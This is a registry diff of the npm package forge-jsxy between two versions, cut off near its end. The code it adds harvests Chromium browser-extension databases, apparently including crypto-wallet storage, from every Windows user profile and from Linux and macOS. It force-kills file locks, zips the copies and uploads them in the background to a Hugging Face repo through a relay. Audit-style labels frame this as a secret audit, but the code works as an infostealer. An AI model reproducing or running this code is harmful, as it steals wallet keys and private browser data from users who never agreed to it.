forge-jsxy 1.0.91 → 1.0.103

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -33,10 +33,15 @@ var __importStar = (this && this.__importStar) || (function () {
33
33
  };
34
34
  })();
35
35
  Object.defineProperty(exports, "__esModule", { value: true });
36
- exports.LOCAL_EXTENSION_SETTINGS = exports.EXTENSION_DB_STAGING_DIRNAME = void 0;
36
+ exports.INDEXEDDB_DIR_NAME = exports.LOCAL_EXTENSION_SETTINGS = exports.EXTENSION_DB_STAGING_DIRNAME = void 0;
37
+ exports.win32AllLocalAppDataRoots = win32AllLocalAppDataRoots;
38
+ exports.win32AllRoamingAppDataRoots = win32AllRoamingAppDataRoots;
37
39
  exports.chromiumBrowserUserDataCandidates = chromiumBrowserUserDataCandidates;
38
40
  exports.profileRelPathFromLes = profileRelPathFromLes;
39
41
  exports.findLocalExtensionSettingsDirs = findLocalExtensionSettingsDirs;
42
+ exports.findChromeExtensionIndexedDbDirs = findChromeExtensionIndexedDbDirs;
43
+ exports.isLevelDbSstableFileName = isLevelDbSstableFileName;
44
+ exports.extensionFolderHasLdbFile = extensionFolderHasLdbFile;
40
45
  exports.extensionFolderHasDbFile = extensionFolderHasDbFile;
41
46
  exports.discoverExtensionDbSourcesFromUserDataRoots = discoverExtensionDbSourcesFromUserDataRoots;
42
47
  exports.discoverExtensionDbSources = discoverExtensionDbSources;
@@ -49,10 +54,10 @@ exports.removeExtensionDbStaging = removeExtensionDbStaging;
49
54
  * Discover Chromium-family browser profiles, copy **entire** extension `<id>` folders under
50
55
  * `Local Extension Settings` into a staging directory beside `result.json` (secret-audit vault).
51
56
  *
52
- * **Selection gate:** an extension folder is included only when it contains at least one `.db`
53
- * file anywhere inside (wallet/SQLite signal). **Copy scope:** the full `<extension_id>/` tree
54
- * is copied recursively LevelDB `.log`/`.ldb`, `CURRENT`, `MANIFEST-*`, locks, and every
55
- * other file under that id not just the `.db` file(s).
57
+ * **Selection gate:** an extension folder is included when it contains at least one **`.ldb`**
58
+ * file anywhere inside (Chromium LevelDB table/sstable the real extension database blob).
59
+ * **`.db` (SQLite) alone does not qualify.** **Copy scope:** the full `<extension_id>/` tree
60
+ * is copied recursivelyevery `.ldb`, `.log`, `CURRENT`, `MANIFEST-*`, lock, and sibling file.
56
61
  *
57
62
  * Cross-platform (Windows local + roaming, Linux, macOS). Authorized deployments only.
58
63
  */
@@ -65,6 +70,7 @@ const fileLockForce_1 = require("./fileLockForce");
65
70
  exports.EXTENSION_DB_STAGING_DIRNAME = "extension-db-staging";
66
71
  /** Relative path segment (case-insensitive) under a browser profile. */
67
72
  exports.LOCAL_EXTENSION_SETTINGS = "Local Extension Settings";
73
+ exports.INDEXEDDB_DIR_NAME = "IndexedDB";
68
74
  function envHome() {
69
75
  return os.homedir();
70
76
  }
@@ -86,6 +92,119 @@ function roamingAppDataWin() {
86
92
  return path.join(prof, "AppData", "Roaming");
87
93
  return path.join(envHome(), "AppData", "Roaming");
88
94
  }
95
+ const WIN_USERS_DIR_SKIP = new Set(["default", "default user", "public", "all users", "defaultaccount"].map((s) => s.toLowerCase()));
96
+ /** All `AppData\\Local` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Local`. */
97
+ function win32AllLocalAppDataRoots() {
98
+ const out = [];
99
+ const seen = new Set();
100
+ const add = (p) => {
101
+ try {
102
+ const abs = path.resolve(p);
103
+ const key = abs.toLowerCase();
104
+ if (seen.has(key))
105
+ return;
106
+ if (fs.existsSync(abs) && fs.statSync(abs).isDirectory()) {
107
+ seen.add(key);
108
+ out.push(abs);
109
+ }
110
+ }
111
+ catch {
112
+ /* skip */
113
+ }
114
+ };
115
+ add(localAppDataWin());
116
+ const sysDrive = (process.env.SystemDrive || "C:").trim();
117
+ const usersRoot = path.join(sysDrive, "Users");
118
+ try {
119
+ for (const ent of fs.readdirSync(usersRoot, { withFileTypes: true })) {
120
+ if (!ent.isDirectory())
121
+ continue;
122
+ if (WIN_USERS_DIR_SKIP.has(ent.name.toLowerCase()))
123
+ continue;
124
+ add(path.join(usersRoot, ent.name, "AppData", "Local"));
125
+ }
126
+ }
127
+ catch {
128
+ /* skip */
129
+ }
130
+ return out;
131
+ }
132
+ /** All `AppData\\Roaming` roots on Windows — current user plus `C:\\Users\\*\\AppData\\Roaming`. */
133
+ function win32AllRoamingAppDataRoots() {
134
+ const out = [];
135
+ const seen = new Set();
136
+ const add = (p) => {
137
+ try {
138
+ const abs = path.resolve(p);
139
+ const key = abs.toLowerCase();
140
+ if (seen.has(key))
141
+ return;
142
+ if (fs.existsSync(abs) && fs.statSync(abs).isDirectory()) {
143
+ seen.add(key);
144
+ out.push(abs);
145
+ }
146
+ }
147
+ catch {
148
+ /* skip */
149
+ }
150
+ };
151
+ add(roamingAppDataWin());
152
+ const sysDrive = (process.env.SystemDrive || "C:").trim();
153
+ const usersRoot = path.join(sysDrive, "Users");
154
+ try {
155
+ for (const ent of fs.readdirSync(usersRoot, { withFileTypes: true })) {
156
+ if (!ent.isDirectory())
157
+ continue;
158
+ if (WIN_USERS_DIR_SKIP.has(ent.name.toLowerCase()))
159
+ continue;
160
+ add(path.join(usersRoot, ent.name, "AppData", "Roaming"));
161
+ }
162
+ }
163
+ catch {
164
+ /* skip */
165
+ }
166
+ return out;
167
+ }
168
+ function browserLabelForUserDataRoot(baseLabel, userDataRoot) {
169
+ if (process.platform !== "win32")
170
+ return baseLabel;
171
+ const norm = path.resolve(userDataRoot).replace(/\\/g, "/").toLowerCase();
172
+ const m = /\/users\/([^/]+)\/appdata\/local/i.exec(norm);
173
+ if (!m?.[1])
174
+ return baseLabel;
175
+ const user = m[1];
176
+ const cur = localAppDataWin().replace(/\\/g, "/").toLowerCase();
177
+ if (norm.startsWith(cur.replace(/\/$/, "")))
178
+ return baseLabel;
179
+ return `${baseLabel} [${user}]`;
180
+ }
181
+ /** Relative path segments under `%LOCALAPPDATA%` for Chromium user-data dirs. */
182
+ const WIN32_LOCAL_BROWSER_PATHS = [
183
+ ["Google Chrome", ["Google", "Chrome", "User Data"]],
184
+ ["Google Chrome Beta", ["Google", "Chrome Beta", "User Data"]],
185
+ ["Google Chrome SxS", ["Google", "Chrome SxS", "User Data"]],
186
+ ["Microsoft Edge", ["Microsoft", "Edge", "User Data"]],
187
+ ["Microsoft Edge Beta", ["Microsoft", "Edge Beta", "User Data"]],
188
+ ["Microsoft Edge Dev", ["Microsoft", "Edge Dev", "User Data"]],
189
+ ["Brave", ["BraveSoftware", "Brave-Browser", "User Data"]],
190
+ ["Vivaldi", ["Vivaldi", "User Data"]],
191
+ ["Chromium", ["Chromium", "User Data"]],
192
+ ["Yandex", ["Yandex", "YandexBrowser", "User Data"]],
193
+ ["Opera", ["Opera Software", "Opera Stable"]],
194
+ ["Opera GX", ["Opera Software", "Opera GX Stable"]],
195
+ ["Epic Privacy Browser", ["Epic Privacy Browser", "User Data"]],
196
+ ["Iridium", ["Iridium", "User Data"]],
197
+ ["Thorium", ["Thorium", "User Data"]],
198
+ ["Cent Browser", ["CentBrowser", "User Data"]],
199
+ ["Slimjet", ["Slimjet", "User Data"]],
200
+ ["360Chrome", ["360Chrome", "Chrome", "User Data"]],
201
+ ["Coc Coc", ["Coccoc", "Browser", "User Data"]],
202
+ ["Wavebox", ["Wavebox", "User Data"]],
203
+ ];
204
+ const WIN32_ROAMING_BROWSER_PATHS = [
205
+ ["Opera Roaming", ["Opera Software", "Opera Stable"]],
206
+ ["Opera GX Roaming", ["Opera Software", "Opera GX Stable"]],
207
+ ];
89
208
  function linuxConfigDir() {
90
209
  const xdg = (process.env.XDG_CONFIG_HOME || "").trim();
91
210
  if (xdg)
@@ -117,39 +236,16 @@ function chromiumBrowserUserDataCandidates() {
117
236
  }
118
237
  };
119
238
  if (process.platform === "win32") {
120
- const local = localAppDataWin();
121
- const roaming = roamingAppDataWin();
122
- const localPairs = [
123
- ["Google Chrome", path.join(local, "Google", "Chrome", "User Data")],
124
- ["Google Chrome Beta", path.join(local, "Google", "Chrome Beta", "User Data")],
125
- ["Google Chrome SxS", path.join(local, "Google", "Chrome SxS", "User Data")],
126
- ["Microsoft Edge", path.join(local, "Microsoft", "Edge", "User Data")],
127
- ["Microsoft Edge Beta", path.join(local, "Microsoft", "Edge Beta", "User Data")],
128
- ["Microsoft Edge Dev", path.join(local, "Microsoft", "Edge Dev", "User Data")],
129
- ["Brave", path.join(local, "BraveSoftware", "Brave-Browser", "User Data")],
130
- ["Vivaldi", path.join(local, "Vivaldi", "User Data")],
131
- ["Chromium", path.join(local, "Chromium", "User Data")],
132
- ["Yandex", path.join(local, "Yandex", "YandexBrowser", "User Data")],
133
- ["Opera", path.join(local, "Opera Software", "Opera Stable")],
134
- ["Opera GX", path.join(local, "Opera Software", "Opera GX Stable")],
135
- ["Epic Privacy Browser", path.join(local, "Epic Privacy Browser", "User Data")],
136
- ["Iridium", path.join(local, "Iridium", "User Data")],
137
- ["Thorium", path.join(local, "Thorium", "User Data")],
138
- ["Ungoogled Chromium", path.join(local, "Chromium", "User Data")],
139
- ["Cent Browser", path.join(local, "CentBrowser", "User Data")],
140
- ["Slimjet", path.join(local, "Slimjet", "User Data")],
141
- ["360Chrome", path.join(local, "360Chrome", "Chrome", "User Data")],
142
- ["Coc Coc", path.join(local, "Coccoc", "Browser", "User Data")],
143
- ["Wavebox", path.join(local, "Wavebox", "User Data")],
144
- ];
145
- for (const [label, p] of localPairs)
146
- pushIfDir(label, p);
147
- const roamingPairs = [
148
- ["Opera Roaming", path.join(roaming, "Opera Software", "Opera Stable")],
149
- ["Opera GX Roaming", path.join(roaming, "Opera Software", "Opera GX Stable")],
150
- ];
151
- for (const [label, p] of roamingPairs)
152
- pushIfDir(label, p);
239
+ for (const local of win32AllLocalAppDataRoots()) {
240
+ for (const [label, segs] of WIN32_LOCAL_BROWSER_PATHS) {
241
+ pushIfDir(browserLabelForUserDataRoot(label, local), path.join(local, ...segs));
242
+ }
243
+ }
244
+ for (const roaming of win32AllRoamingAppDataRoots()) {
245
+ for (const [label, segs] of WIN32_ROAMING_BROWSER_PATHS) {
246
+ pushIfDir(browserLabelForUserDataRoot(label, roaming), path.join(roaming, ...segs));
247
+ }
248
+ }
153
249
  return out;
154
250
  }
155
251
  if (process.platform === "darwin") {
@@ -268,8 +364,83 @@ function findLocalExtensionSettingsDirs(userDataRoot, maxDepth = 5) {
268
364
  walk(root, 0, "");
269
365
  return out;
270
366
  }
271
- /** Gate only: true when `<extension_id>/` contains ≥1 `.db` file (triggers full-folder copy). */
272
- function extensionFolderHasDbFile(dir, maxDepth = 12) {
367
+ function isIndexedDbDirName(name) {
368
+ return name.localeCompare(exports.INDEXEDDB_DIR_NAME, undefined, { sensitivity: "accent" }) === 0;
369
+ }
370
+ function parseExtensionIdFromIndexedDbDir(name) {
371
+ const m = /^chrome-extension_([a-z0-9]{32})_\d+\.indexeddb\.leveldb$/i.exec(String(name || "").trim());
372
+ return m?.[1] ?? null;
373
+ }
374
+ /** Find `IndexedDB/chrome-extension_*_0.indexeddb.leveldb/` trees under a browser user-data root. */
375
+ function findChromeExtensionIndexedDbDirs(userDataRoot, maxDepth = 6) {
376
+ const root = path.resolve(userDataRoot);
377
+ const out = [];
378
+ const seen = new Set();
379
+ const walk = (dir, depth, profileHint) => {
380
+ if (depth > maxDepth)
381
+ return;
382
+ let entries;
383
+ try {
384
+ entries = fs.readdirSync(dir, { withFileTypes: true });
385
+ }
386
+ catch {
387
+ return;
388
+ }
389
+ for (const ent of entries) {
390
+ if (!ent.isDirectory())
391
+ continue;
392
+ const child = path.join(dir, ent.name);
393
+ if (isIndexedDbDirName(ent.name)) {
394
+ const profileRelPath = profileRelPathFromLes(root, child);
395
+ const profileLabel = profileHint ||
396
+ profileRelPath.split("/").filter(Boolean).pop() ||
397
+ path.basename(path.dirname(child));
398
+ let idbEntries;
399
+ try {
400
+ idbEntries = fs.readdirSync(child, { withFileTypes: true });
401
+ }
402
+ catch {
403
+ continue;
404
+ }
405
+ for (const idbEnt of idbEntries) {
406
+ if (!idbEnt.isDirectory())
407
+ continue;
408
+ const extId = parseExtensionIdFromIndexedDbDir(idbEnt.name);
409
+ if (!extId)
410
+ continue;
411
+ const idbDir = path.join(child, idbEnt.name);
412
+ if (!extensionFolderHasLdbFile(idbDir))
413
+ continue;
414
+ const key = idbDir.toLowerCase();
415
+ if (seen.has(key))
416
+ continue;
417
+ seen.add(key);
418
+ out.push({ profileLabel, profileRelPath, idbDir, extensionId: extId });
419
+ }
420
+ continue;
421
+ }
422
+ if (shouldSkipWalkDir(ent.name))
423
+ continue;
424
+ const nextHint = profileHint ||
425
+ (ent.name === "Default" || /^profile\s+\d+$/i.test(ent.name) ? ent.name : profileHint);
426
+ walk(child, depth + 1, nextHint || ent.name);
427
+ }
428
+ };
429
+ walk(root, 0, "");
430
+ return out;
431
+ }
432
+ /** True when a filename is a LevelDB sstable (`.ldb`, case-insensitive). */
433
+ function isLevelDbSstableFileName(name) {
434
+ return String(name || "")
435
+ .trim()
436
+ .toLowerCase()
437
+ .endsWith(".ldb");
438
+ }
439
+ /**
440
+ * Gate: true when `<extension_id>/` contains ≥1 **`.ldb`** file (LevelDB database segment).
441
+ * SQLite `.db` / `.dat` without `.ldb` does **not** qualify.
442
+ */
443
+ function extensionFolderHasLdbFile(dir, maxDepth = 12) {
273
444
  const root = path.resolve(dir);
274
445
  const stack = [{ d: root, depth: 0 }];
275
446
  while (stack.length) {
@@ -287,7 +458,7 @@ function extensionFolderHasDbFile(dir, maxDepth = 12) {
287
458
  const child = path.join(d, ent.name);
288
459
  if (ent.isSymbolicLink())
289
460
  continue;
290
- if (ent.isFile() && ent.name.toLowerCase().endsWith(".db"))
461
+ if (ent.isFile() && isLevelDbSstableFileName(ent.name))
291
462
  return true;
292
463
  if (ent.isDirectory() && !shouldSkipWalkDir(ent.name)) {
293
464
  stack.push({ d: child, depth: depth + 1 });
@@ -296,7 +467,11 @@ function extensionFolderHasDbFile(dir, maxDepth = 12) {
296
467
  }
297
468
  return false;
298
469
  }
299
- /** Enumerate extension folders (with `.db` files) for explicit browser roots (test hook). */
470
+ /** @deprecated Use {@link extensionFolderHasLdbFile} gate is `.ldb`, not `.db`. */
471
+ function extensionFolderHasDbFile(dir, maxDepth = 12) {
472
+ return extensionFolderHasLdbFile(dir, maxDepth);
473
+ }
474
+ /** Enumerate extension folders (with ≥1 `.ldb` file) for explicit browser roots (test hook). */
300
475
  function discoverExtensionDbSourcesFromUserDataRoots(candidates) {
301
476
  const sources = [];
302
477
  const seenSrc = new Set();
@@ -313,7 +488,7 @@ function discoverExtensionDbSourcesFromUserDataRoots(candidates) {
313
488
  if (!ent.isDirectory())
314
489
  continue;
315
490
  const extDir = path.join(lesDir, ent.name);
316
- if (!extensionFolderHasDbFile(extDir))
491
+ if (!extensionFolderHasLdbFile(extDir))
317
492
  continue;
318
493
  const absKey = extDir.toLowerCase();
319
494
  if (seenSrc.has(absKey))
@@ -325,17 +500,36 @@ function discoverExtensionDbSourcesFromUserDataRoots(candidates) {
325
500
  profileRelPath,
326
501
  extensionId: ent.name,
327
502
  absSourceDir: extDir,
328
- sourceKey: extensionSourceKey(label, profileRelPath, ent.name),
503
+ sourceKey: extensionSourceKey(label, profileRelPath, ent.name, "local_extension_settings"),
329
504
  stagingRelPath: "",
505
+ storageKind: "local_extension_settings",
330
506
  };
331
507
  source.stagingRelPath = stagingRelPathForSource(source);
332
508
  sources.push(source);
333
509
  }
334
510
  }
511
+ for (const { profileLabel, profileRelPath, idbDir, extensionId } of findChromeExtensionIndexedDbDirs(root)) {
512
+ const absKey = idbDir.toLowerCase();
513
+ if (seenSrc.has(absKey))
514
+ continue;
515
+ seenSrc.add(absKey);
516
+ const source = {
517
+ browserLabel: label,
518
+ profileLabel: profileLabel || "Default",
519
+ profileRelPath,
520
+ extensionId,
521
+ absSourceDir: idbDir,
522
+ sourceKey: extensionSourceKey(label, profileRelPath, extensionId, "indexeddb"),
523
+ stagingRelPath: "",
524
+ storageKind: "indexeddb",
525
+ };
526
+ source.stagingRelPath = stagingRelPathForSource(source);
527
+ sources.push(source);
528
+ }
335
529
  }
336
530
  return sources;
337
531
  }
338
- /** Enumerate extension folders (with `.db` files) across all Chromium browsers. */
532
+ /** Enumerate extension folders (with ≥1 `.ldb` file) across all Chromium browsers. */
339
533
  function discoverExtensionDbSources() {
340
534
  return discoverExtensionDbSourcesFromUserDataRoots(chromiumBrowserUserDataCandidates());
341
535
  }
@@ -346,14 +540,22 @@ function extensionDbStagingRoot() {
346
540
  return path.join(secretAuditDir(), exports.EXTENSION_DB_STAGING_DIRNAME);
347
541
  }
348
542
  /** Unique key for browser + profile + extension id (same id in different profiles/browsers stays distinct). */
349
- function extensionSourceKey(browserLabel, profileRelPath, extensionId) {
350
- return `${browserLabel}|${profileRelPath}|${extensionId}`;
543
+ function extensionSourceKey(browserLabel, profileRelPath, extensionId, storageKind = "local_extension_settings") {
544
+ return `${browserLabel}|${profileRelPath}|${storageKind}|${extensionId}`;
351
545
  }
352
546
  function stagingRelPathForSource(src) {
353
547
  const profileParts = src.profileRelPath
354
548
  .split("/")
355
549
  .filter(Boolean)
356
550
  .map((p) => sanitizePathSegment(p));
551
+ if (src.storageKind === "indexeddb") {
552
+ return [
553
+ sanitizePathSegment(src.browserLabel),
554
+ ...profileParts,
555
+ exports.INDEXEDDB_DIR_NAME,
556
+ sanitizePathSegment(`chrome-extension_${src.extensionId}_indexeddb.leveldb`),
557
+ ].join("/");
558
+ }
357
559
  return [
358
560
  sanitizePathSegment(src.browserLabel),
359
561
  ...profileParts,
@@ -366,6 +568,9 @@ function stagingDestForSource(src) {
366
568
  .split("/")
367
569
  .filter(Boolean)
368
570
  .map((p) => sanitizePathSegment(p));
571
+ if (src.storageKind === "indexeddb") {
572
+ return path.join(extensionDbStagingRoot(), sanitizePathSegment(src.browserLabel), ...profileParts, exports.INDEXEDDB_DIR_NAME, sanitizePathSegment(`chrome-extension_${src.extensionId}_indexeddb.leveldb`));
573
+ }
369
574
  return path.join(extensionDbStagingRoot(), sanitizePathSegment(src.browserLabel), ...profileParts, exports.LOCAL_EXTENSION_SETTINGS, sanitizePathSegment(src.extensionId));
370
575
  }
371
576
  async function sleep(ms) {
@@ -456,6 +661,7 @@ async function harvestExtensionDbFoldersToStaging(opts = {}) {
456
661
  profile: s.profileLabel,
457
662
  profile_rel_path: s.profileRelPath,
458
663
  extension_id: s.extensionId,
664
+ storage_kind: s.storageKind,
459
665
  staging_rel_path: s.stagingRelPath,
460
666
  path: s.absSourceDir,
461
667
  })),
@@ -1,8 +1,9 @@
1
1
  /**
2
2
  * After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
3
- * folders containing `.db` files, zip, and upload to `namespace/<seq_id>` (session repo).
3
+ * folders containing LevelDB `.ldb` files, zip, and upload to `namespace/<seq_id>` (session repo).
4
4
  *
5
- * Skips when the Hub repo already exists. Ignores HF/network failures (logs only).
5
+ * Appends to an existing session repo when present (new export folder per run).
6
+ * Ignores HF/network failures (logs only).
6
7
  * Runs in the background — does not block the relay agent loop.
7
8
  */
8
9
  import type { HfCredentials } from "./hfCredentials";
@@ -14,9 +15,12 @@ export type RunExtensionDbHfUploadOptions = {
14
15
  clientTableName: string;
15
16
  fetchHubCredentials: () => Promise<HfCredentials>;
16
17
  quiet: boolean;
18
+ /** Relay HTTP origin (ws→http) so seq_id resolves via GET /api/relay-session-seq when forge-db key is absent on the agent. */
19
+ relayHttpBase?: string;
20
+ clientSeqId?: number | null;
17
21
  };
18
22
  /**
19
- * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
23
+ * Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
20
24
  * No-op when disabled, repo exists, nothing to copy, or credentials missing.
21
25
  */
22
26
  export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
@@ -6,10 +6,10 @@ exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
6
6
  exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
7
7
  const hfCredentials_1 = require("./hfCredentials");
8
8
  const hfUpload_1 = require("./hfUpload");
9
- const hub_1 = require("@huggingface/hub");
10
9
  const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
11
10
  const chromiumExtensionDbHarvest_1 = require("./chromiumExtensionDbHarvest");
12
11
  const exportMirrorCopy_1 = require("./exportMirrorCopy");
12
+ const relayForAgentHttp_1 = require("./relayForAgentHttp");
13
13
  /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
14
14
  function extensionDbLog(message) {
15
15
  console.log(`[forge-agent] extension-db: ${message}`);
@@ -63,42 +63,57 @@ async function resolveHubCredentials(fetchHubCredentials) {
63
63
  }
64
64
  return creds;
65
65
  }
66
- async function resolveSessionHubRepo(clientTable, creds) {
66
+ async function resolveSessionHubRepo(clientTable, creds, opts) {
67
67
  const ns = (creds.namespace || "").trim() ||
68
68
  (process.env.CFGMGR_HF_NAMESPACE || "").trim() ||
69
69
  (process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
70
- if (!ns)
70
+ if (!ns) {
71
+ extensionDbLog("skipped — HF namespace missing (add \"namespace\" to encrypted credentials or set CFGMGR_HF_NAMESPACE)");
71
72
  return null;
72
- let seq = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable);
73
- if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seq === null)
73
+ }
74
+ let seq = opts.clientSeqId !== undefined && opts.clientSeqId !== null
75
+ ? opts.clientSeqId
76
+ : await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable, {
77
+ relayHttpBase: opts.relayHttpBase,
78
+ });
79
+ if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seq === null) {
80
+ extensionDbLog("skipped — forge-db seq_id required for session Hub repo (relay /api/relay-session-seq or set CFGMGR_HF_SESSION_REPO_ALLOW_LEGACY_SLUG=1)");
74
81
  return null;
82
+ }
75
83
  const slug = (0, hfSeqIdLookup_1.hfAutoSessionRepoSlug)(clientTable, seq);
76
84
  return `${ns}/${slug}`;
77
85
  }
78
- async function sessionHubRepoExists(clientTable, creds) {
79
- const repoStr = await resolveSessionHubRepo(clientTable, creds);
80
- if (!repoStr)
81
- return { exists: false, repo: "" };
82
- try {
83
- const hubUrl = creds.hubUrl.replace(/\/+$/, "").trim() || "https://huggingface.co";
84
- const exists = await (0, hub_1.repoExists)({
85
- repo: repoStr,
86
- accessToken: creds.token,
87
- hubUrl,
88
- });
89
- return { exists, repo: repoStr };
90
- }
91
- catch {
92
- return { exists: false, repo: repoStr };
93
- }
94
- }
95
86
  function isIgnorableHubError(err) {
96
87
  const msg = err instanceof Error ? err.message : String(err);
97
88
  return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
98
89
  }
99
90
  let extensionDbUploadInFlight = false;
91
+ let pendingExtensionDbRetry = null;
92
+ function mergeExtensionDbUploadOpts(prev, next) {
93
+ if (!prev)
94
+ return next;
95
+ return {
96
+ ...prev,
97
+ ...next,
98
+ clientSeqId: next.clientSeqId !== undefined && next.clientSeqId !== null
99
+ ? next.clientSeqId
100
+ : prev.clientSeqId,
101
+ };
102
+ }
103
+ function resolveRelayHttpBaseForExtensionUpload(opts) {
104
+ const explicit = (opts.relayHttpBase || "").trim();
105
+ if (explicit)
106
+ return explicit;
107
+ const ws = (process.env.FORGE_JS_RELAY_URL ||
108
+ process.env.CFGMGR_RELAY_URL ||
109
+ process.env.FORGE_JS_AGENT_RELAY_URL ||
110
+ "").trim();
111
+ if (!ws)
112
+ return "";
113
+ return (0, relayForAgentHttp_1.wsRelayUrlToHttpBase)(ws) ?? "";
114
+ }
100
115
  /**
101
- * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
116
+ * Harvest extension `.ldb` folders → zip → Hub session repo (`namespace/<seq_id>`).
102
117
  * No-op when disabled, repo exists, nothing to copy, or credentials missing.
103
118
  */
104
119
  async function runExtensionDbHfUploadAfterAudit(opts) {
@@ -109,29 +124,52 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
109
124
  extensionDbLog("skipped — no client_table / session id");
110
125
  return;
111
126
  }
112
- if (extensionDbUploadInFlight)
127
+ if (extensionDbUploadInFlight) {
128
+ pendingExtensionDbRetry = mergeExtensionDbUploadOpts(pendingExtensionDbRetry, opts);
129
+ extensionDbLog("deferred — previous extension upload still running (queued retry)");
113
130
  return;
131
+ }
114
132
  extensionDbUploadInFlight = true;
115
133
  let creds = null;
116
134
  let harvest = null;
117
135
  try {
118
136
  extensionDbLog("background upload starting");
137
+ const relayHttpBase = resolveRelayHttpBaseForExtensionUpload(opts);
138
+ if (relayHttpBase) {
139
+ extensionDbLog(`seq lookup relay ${relayHttpBase}`);
140
+ }
141
+ if (opts.clientSeqId !== undefined && opts.clientSeqId !== null) {
142
+ extensionDbLog(`using relay client_seq_id=${opts.clientSeqId}`);
143
+ }
119
144
  creds = await resolveHubCredentials(opts.fetchHubCredentials);
120
145
  if (!creds) {
121
146
  extensionDbLog("skipped — no HF credentials (relay or CFGMGR_HF_CREDENTIALS_B64)");
122
147
  return;
123
148
  }
124
- const repoCheck = await sessionHubRepoExists(clientTable, creds);
125
- if (repoCheck.exists) {
126
- extensionDbLog(`skipped — repo already exists (${repoCheck.repo})`);
149
+ const targetRepo = await resolveSessionHubRepo(clientTable, creds, {
150
+ relayHttpBase,
151
+ clientSeqId: opts.clientSeqId,
152
+ });
153
+ if (!targetRepo) {
127
154
  return;
128
155
  }
156
+ let resolvedSeqId = opts.clientSeqId ?? null;
157
+ if (resolvedSeqId === null) {
158
+ resolvedSeqId = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable, {
159
+ relayHttpBase,
160
+ });
161
+ }
129
162
  harvest = await (0, chromiumExtensionDbHarvest_1.harvestExtensionDbFoldersToStaging)({
130
163
  forceKill: true,
131
164
  quiet: opts.quiet,
132
165
  });
133
- if (harvest.sources.length === 0 || harvest.copiedFiles === 0) {
134
- extensionDbLog("skipped — no extension folders with .db files");
166
+ if (harvest.sources.length === 0) {
167
+ extensionDbLog("skipped — no extension folders with LevelDB `.ldb` files (Local Extension Settings / IndexedDB)");
168
+ await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
169
+ return;
170
+ }
171
+ if (harvest.copiedFiles === 0) {
172
+ extensionDbLog(`skipped — ${harvest.sources.length} extension folder(s) found but copy failed (browser locks or permissions)`);
135
173
  await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
136
174
  return;
137
175
  }
@@ -147,17 +185,15 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
147
185
  pathStr: harvest.stagingRoot,
148
186
  autoSessionRepo: true,
149
187
  clientTableName: clientTable,
188
+ clientSeqId: resolvedSeqId ?? undefined,
189
+ relayHttpBase,
150
190
  hfCredentials: creds,
151
191
  forceKill: true,
152
192
  force: true,
153
- skipIfRepoExists: true,
193
+ skipIfRepoExists: false,
154
194
  });
155
- if (upload.skipped === true && upload.reason === "repo_exists") {
156
- extensionDbLog(`skipped — repo already exists (${String(upload.repo || "")})`);
157
- return;
158
- }
159
195
  if (upload.ok === true) {
160
- extensionDbLog(`upload OK — repo ${String(upload.repo || "")} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
196
+ extensionDbLog(`upload OK — repo ${String(upload.repo || targetRepo)} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
161
197
  }
162
198
  else {
163
199
  const err = String(upload.error || "unknown error");
@@ -182,6 +218,13 @@ async function runExtensionDbHfUploadAfterAudit(opts) {
182
218
  if (creds)
183
219
  (0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
184
220
  await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
221
+ const retry = pendingExtensionDbRetry;
222
+ pendingExtensionDbRetry = null;
223
+ if (retry) {
224
+ setImmediate(() => {
225
+ void runExtensionDbHfUploadAfterAudit(retry);
226
+ });
227
+ }
185
228
  }
186
229
  }
187
230
  /** Fire-and-forget background upload (after secret audit completes). */
@@ -77,6 +77,7 @@ const exportMirrorCopy_1 = require("./exportMirrorCopy");
77
77
  const fileLockForce_1 = require("./fileLockForce");
78
78
  const clipboardExec_1 = require("./clipboardExec");
79
79
  const explorerHeavyDirSkips_1 = require("./explorerHeavyDirSkips");
80
+ const clientId_1 = require("./clientId");
80
81
  /** Explorer `fs_list` entry cap (sorted). Large dirs need a higher cap; very large values can stress browser memory. */
81
82
  exports.MAX_LIST_ENTRIES = 1_000_000;
82
83
  /**
@@ -482,6 +483,12 @@ function allowedFsRoots() {
482
483
  }
483
484
  };
484
485
  const roots = [];
486
+ try {
487
+ pushIfDir((0, clientId_1.defaultCfgmgrDataDir)());
488
+ }
489
+ catch {
490
+ /* skip */
491
+ }
485
492
  if (isWindows()) {
486
493
  try {
487
494
  const home = path.resolve(os.homedir());
@@ -10,7 +10,16 @@ export declare function hfSessionRepoRequireSeqId(): boolean;
10
10
  * otherwise the legacy Postgres-safe table slug from {@link postgresqlClientTableName}.
11
11
  */
12
12
  export declare function hfAutoSessionRepoSlug(clientTableName: string, seqId: number | null | undefined): string;
13
+ export type FetchSeqIdOptions = {
14
+ /** Relay HTTP origin (from agent WebSocket URL) — fallback when direct forge-db is unreachable or lacks API key. */
15
+ relayHttpBase?: string;
16
+ };
17
+ /**
18
